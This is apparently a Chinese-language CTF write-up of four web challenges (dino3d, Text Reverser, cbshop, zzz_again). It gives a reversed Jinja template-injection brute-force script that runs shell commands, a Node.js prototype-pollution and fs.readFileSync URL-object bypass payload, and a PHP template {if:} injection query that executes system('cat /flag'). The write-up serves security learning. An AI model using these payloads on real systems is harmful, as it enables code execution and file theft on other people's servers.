web
dino3d
进入题目先小玩一把
发现只要玩够这么多分就行,看看源码中的信息
在别的地方都没有信息,在一个js文件中好像有checkcode,进去看一下/js/build.min.js?patch=3x1
这里全都挤在一块,用工具将他变成人能看懂的语句美化代码
找到重要信息:
var salt = "_wElc03e";
var checkCode = "DASxCBCTF" + salt;
//checkCode="DASxCBCTF_wElc03e";
在这里可以看到它对check.php进行了一次发包
那么我们只需要修改其中的分数,用它原来的方法对他进行一次发包就可以拿到flag
e就是分数,t就是我们的checkcode我们直接在页面中对他进行调用
拿到flag
Text Reverser
测试发现{{
被过滤了,但是{%
可以用可以用{%print()%}替换
因为他会反转,所以用python代码反转一下直接requests请求查看返回页面就行
后面就是寻找攻击载荷
直接挑攻击载荷爆破就行,给上python脚本
import requests
import time
for i in range(448):
payload = "{%print(''.__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']['eval'](\"__import__('os').popen('ca'+'t /f*').read()\"))%}"
payload = payload[::-1]
print(payload)
url = 'http://420edf9a-46e5-42bd-b71a-a8b93def0907.node4.buuoj.cn:81/'
data = {
"text":payload
}
io = requests.post(url=url, data=data)
print(i)
time.sleep(0.2)
if "{" in io.text:
print(io.text)
拿到flag
cbshop
一道nodejs原型链污染题目
题目给出了源码,需要先登陆,如果使用正确的用户名和密码那么就会有9999块钱
const adminUser = {
username: "admin",
password: "😀admin😀",
money: 9999
};
if(username === adminUser.username && password === adminUser.password.substring(1,6)) {//only admin need password
req.session.username = username;
req.session.money = adminUser.money;
return res.json({
code: 1,
username: username,
money: req.session.money,
msg: 'admin login success!'
});
}
下面的代码可以看到只有当他的密码是截取的1到6位的时候才会获得9999块钱
先unicode编码一下\ude00\u0061\u0064\u006d\u0069
登陆就能发现9999快
if(user.money >= 11 && user.token) { //do u have token?
在这里可以发现这里需要有一个token但是我们没有我们需要自己造
在购买商品这里
可以发现在调用buyapi接口的时候直接将body作为实参传过去了,所以我们就可以控制product
因为token没地方找会自动往上一个链子里面去寻找,所以我们直接在上面进行覆盖
如果我们的username是__proto__
,那么他就会直接将product合并到order原型链上那么他就可以直接添加token进入下面的判断语句了
接下来就是绕过关键字flag这里在之前的比赛中有原题,给出pysnow师傅的题解:corCRTF
简单来分析一下
他调用了fs.readFileSync
这里是可以直接传入URL的,URL会进行编码
我们直接跟进一下代码
function readFileSync(path, options) {
options = getOptions(options, { flag: 'r' });
const isUserFd = isFd(path); // File descriptor ownership
const fd = isUserFd ? path : fs.openSync(path, options.flag, 0o666);
// 这里判断是不是文件描述符如果不是就进入openSync函数 需要跟进一下
const stats = tryStatSync(fd, isUserFd);
const size = isFileType(stats, S_IFREG) ? stats[8] : 0;
let pos = 0;
let buffer; // Single buffer with file data
let buffers; // List for when size is unknown
if (size === 0) {
buffers = [];
} else {
buffer = tryCreateBuffer(size, fd, isUserFd);
}
let bytesRead;
if (size !== 0) {
do {
bytesRead = tryReadSync(fd, isUserFd, buffer, pos, size - pos);
pos += bytesRead;
} while (bytesRead !== 0 && pos < size);
} else {
do {
// The kernel lies about many files.
// Go ahead and try to read some bytes.
buffer = Buffer.allocUnsafe(8192);
bytesRead = tryReadSync(fd, isUserFd, buffer, 0, 8192);
if (bytesRead !== 0) {
ArrayPrototypePush(buffers, buffer.slice(0, bytesRead));
}
pos += bytesRead;
} while (bytesRead !== 0);
}
if (!isUserFd)
fs.closeSync(fd);
if (size === 0) {
// Data was collected into the buffers list.
buffer = Buffer.concat(buffers, pos);
} else if (pos < size) {
buffer = buffer.slice(0, pos);
}
if (options.encoding) buffer = buffer.toString(options.encoding);
return buffer;
}
function openSync(path, flags, mode) {
path = getValidatedPath(path);//这里调用了这个函数很明显还需要跟进
const flagsNumber = stringToFlags(flags);
mode = parseFileMode(mode, 'mode', 0o666);
const ctx = { path };
const result = binding.open(pathModule.toNamespacedPath(path),
flagsNumber, mode,
undefined, ctx);
handleErrorFromBinding(ctx);
return result;
}
function getValidatedPath (fileURLOrPath) {
const path = fileURLOrPath != null && fileURLOrPath.href
&& fileURLOrPath.origin
? fileURLToPath(fileURLOrPath)//如果fileURLOrPath不为空而且具有href以及origin属性就进入fileURLToPath函数,继续跟进
: fileURLOrPath
return path
}
function fileURLToPath(path) {
if (typeof path === 'string')
path = new URL(path);
else if (!isURLInstance(path))//isURLInstance必须为真
throw new ERR_INVALID_ARG_TYPE('path', ['string', 'URL'], path);
if (path.protocol !== 'file:')//他的oriticol属性必须为file:
throw new ERR_INVALID_URL_SCHEME('file');
return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path);//判断系统,这里直接进入getPathFromURLPosix
}
function isURLInstance(fileURLOrPath) {
return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin;
}//如果存在href以及origin属性就返回1
function getPathFromURLPosix(url) {
if (url.hostname !== '') {//不能进这个if所以hostname需要为空
throw new ERR_INVALID_FILE_URL_HOST(platform);
}
const pathname = url.pathname;
for (let n = 0; n < pathname.length; n++) {
if (pathname[n] === '%') {
const third = pathname.codePointAt(n + 2) | 0x20;//对pathname进行解析
if (pathname[n + 1] === '2' && third === 102) {
throw new ERR_INVALID_FILE_URL_PATH(
'must not include encoded / characters'
);
}
}
}
return decodeURIComponent(pathname);
}
跟进结束
所以现在就是需要protocol属性值为file:
hostname为空
存在href以及origin属性
pathname为我们需要的路径值
最终payload:
{"token":1,"name":{"hostname":"",
"protocol":"file:","href":1,"origin":1,"pathname":"/fl%61g"},"id":2}
zzz_again
小小的复现了一下,有些许问题没整明白,先写上,日后再多看看
漏洞点触发在ParserTemplate::parserIfLabel
绕过if进入eval,RCE
是由全局解析解析而来
继续向上看啊可能代码在location这里在进入list的时候会进入他的parserListPage方法,里面接收到了REQUEST[‘URL’]参数
只对他进行了一点点修改,并没有对他进行修改或者编码
继续向上回溯,可以在client的211行进入解析模板,我们没有设定runmode值那么就会进入
我们需要进入list接卸,所以我们只需要location=list就然后绕过后面IF解析的dangerous_key就可以进行RCE
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
?location=aaa&bbb={if:=strtolower(“SYSTEM”)(“cat /flag”)}{end if}&aaa=1